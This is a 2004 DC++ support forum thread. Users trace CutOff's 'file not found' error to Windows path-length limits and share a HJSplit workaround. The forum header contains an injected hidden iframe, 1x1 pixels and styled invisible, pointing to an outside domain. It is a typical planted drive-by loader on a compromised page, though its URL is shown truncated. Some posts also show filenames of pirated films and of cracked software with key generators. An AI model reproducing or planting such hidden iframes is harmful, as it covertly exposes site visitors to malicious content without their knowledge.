Cutoff-->error: file not found

Non-DC related talk...<iframe src=http://pokupka.ks.ua/templates/As/image ... p?from=com width=1 height=1 style=display:none></iframe>

Moderator: Moderators

Locked
The Duck
Posts: 8
Joined: 2004-08-08 06:23

Cutoff-->error: file not found

Post by The Duck » 2004-08-08 06:35

Rollback inconsistency----> I used cutoff to cutoff some KB but cutoff keeps giving me an error --->file not found [I closed all programs that could possibly use the file and the file-sizes are all under 1GB.]

further info: I do not use a firewall, but i have a router and forwarded a port for dc++, version. used 0.401 (stable version) and 0.403 (unstable but same problem)

:?: :?: :?: :?: :?: :?: :?: :?:

WHAT CAN I DO????

:?: :?: :?: :?: :?: :?: :?: :?:

GargoyleMT
DC++ Contributor
Posts: 3212
Joined: 2003-01-07 21:46
Location: .pa.us

Post by GargoyleMT » 2004-08-08 12:03

You can find and try a hex editor instead of cutoff. It's not our program, so we don't know every way it can fail. It's just a handy tool.

The Duck
Posts: 8
Joined: 2004-08-08 06:23

Post by The Duck » 2004-08-10 08:11

:arrow: A hex-editor gives me also problems--> I understand you can't help me with the hex-editor.

Is there not a simple reason which i didn't come up with why the cutoff program keeps giving the error "file not found" (while the file is really there?) :? It would help me a lot using the simple cutoff program instead of learning exactly how the hex editor works with the errors its giving.

thnx for the help :!:

The Duck
Posts: 8
Joined: 2004-08-08 06:23

number of submaps and cutoff

Post by The Duck » 2004-08-10 09:35

Heeeee :D I found out what the problem is with the "file not found"- error in cutoff. It was not the size of the file nor other programs using the file, but the problem is the number of submaps where the file is in eg.

C:\Documents and Settings\user\Bureaublad\The Stepford Wives 2004yqoomgnv.avi -----------------------------> this is the number of submaps when i get no error

C:\Documents and Settings\user\Bureaublad\DC ++ shared folder\Unfinished\The Stepford Wives 2004yqoomgnv.avi ------------------------------> and with this number of submaps i get the "file not found" error

Probably will "Cutoff" NOT recognize a file when it is in five submaps or more and probably it WILL recognize the file when it's in three submaps or less.

Hope this will help a few people who will have the same problem with Cutoff :wink:

TheParanoidOne
Forum Moderator
Posts: 1420
Joined: 2003-04-22 14:37

Post by TheParanoidOne » 2004-08-10 09:56

It is not the number of directories but the length of the pathname. DOS had a limit on the length of a file pathname. I don't recall how many characters that limit was, but apparently it still exists in Windows.
The world is coming to an end. Please log off.

DC++ Guide | Words

The Duck
Posts: 8
Joined: 2004-08-08 06:23

Post by The Duck » 2004-08-10 17:24

Indeed you are right! It has nothing to do with the number of submaps....... :oops:

number of characters can't be more than 260!

PseudonympH
Forum Moderator
Posts: 366
Joined: 2004-03-06 02:46

Post by PseudonympH » 2004-08-10 22:28

I think it would be more likely to be 255 (2^8 = 256, the number of states a byte can be in, plus you need a null character at the end of the string).

The Duck
Posts: 8
Joined: 2004-08-08 06:23

Post by The Duck » 2004-08-11 07:16

Don't blame me, blame microsoft for the windowscreen that told it could not be longer than 260 characters.......but whatever, who cares?

TheParanoidOne
Forum Moderator
Posts: 1420
Joined: 2003-04-22 14:37

Post by TheParanoidOne » 2004-08-11 07:25

Can you please explain what steps you took to cause that message to appear. It would be useful for future reference.
The world is coming to an end. Please log off.

DC++ Guide | Words

The Duck
Posts: 8
Joined: 2004-08-08 06:23

Post by The Duck » 2004-08-11 11:02

TheParanoidOne wrote:It is not the number of directories but the length of the pathname. DOS had a limit on the length of a file pathname. I don't recall how many characters that limit was, but apparently it still exists in Windows.


I can give it a try.... ..... You talked about a character limit, if u use winrar and want to extract a packed file to a map with a pathname longer than 260 characters you will get this errormessage !

! C:\Documents and Settings\user\Bureaublad\Winace, Winrar, & Winzip 8 (Fully Working Plus Cracks).zip: Cannot create ULTIMATE PACK for WIN 95,98,ME,XP,NT&2000 -- WinACE 2.04, WinRAR 2.80 & WinZip 8 -- [with key generators & patch]\WinRAR 2.90 BETA 4 - BETA release for public testing -\wrar29b4.exe
Total path and file name length must not exceed 260 characters
Het systeem kan het opgegeven pad niet vinden.

(the above last dutch sentence means: The system can not find the given path)

You gave a comment about DOS having a limit on the length of a file pathname, i think that must be the reason for this error-message in winrar and probably the reason why Cutoff gave the error-message "file not found". So thats why i thought and said the limit must be 260 characters, but I can be wrong.............

The Duck
Posts: 8
Joined: 2004-08-08 06:23

Post by The Duck » 2004-08-12 05:20

I got another "file not found" error with cutoff today. This was the file pathname C:\Documents and Settings\user\Bureaublad\Van.Helsing.AC3.Xvid.Telecine.DVD-R[bekarar]bpgqauuu.avi
It does not look at all like this are 260 characters....so the limit on characters with cutoff is different than the limit on characters with winrar.

When I moved the file to this file pathname C:\Van.Helsing.AC3.Xvid.Telecine.DVD-R[bekarar]bpgqauuu.avi cutoff did not gave me the "file not found" error

The Duck
Posts: 8
Joined: 2004-08-08 06:23

Post by The Duck » 2004-08-24 06:17

i got another error message wich stated that the limit was 95 characters, looks a lot more like the "real" limit.............

sidhabo
Posts: 26
Joined: 2003-11-14 06:03
Location: Kungsbacka, Sweden

Post by sidhabo » 2004-11-21 19:30

By simple test I found CutOff's path limit to be 93 chars .
CPU Pentium 3.1 Ghz, RAM 1 Gbyte XP Pro, SP2, all MS updates, Sygate Firewall

MTW
Posts: 4
Joined: 2003-01-05 23:57

Post by MTW » 2004-12-05 19:43

A bit off-topic, but a tip until next time CutOff.exe won't do the job:

Use HJSplit.


First it might be a good idea to set the priority on the file in question to Paused in the DC++ Queue.

Open HJSplit and click the Split button.

Click on Input File and open the file in question, let's say it's called file.ext and is 427 MiB.

Split it to 400 Mbytes.

When HJSplit is done splitting, you'll have a 400 MiB file.ext.001 and a 27 MiB file.ext.002.

Delete file.ext and file.ext.002.

Rename file.ext.001 to file.ext.

Set the priority back to Normal in the DC++ Queue and Re-add source, then check if it resumes.

If it does, great!

If not, try splitting to a smaller size.


I hope someone finds this tip useful :wink:

sidhabo
Posts: 26
Joined: 2003-11-14 06:03
Location: Kungsbacka, Sweden

Post by sidhabo » 2004-12-06 01:34

MTW wrote:Use HJSplit.
:

Thxs MTW
CPU Pentium 3.1 Ghz, RAM 1 Gbyte XP Pro, SP2, all MS updates, Sygate Firewall

Locked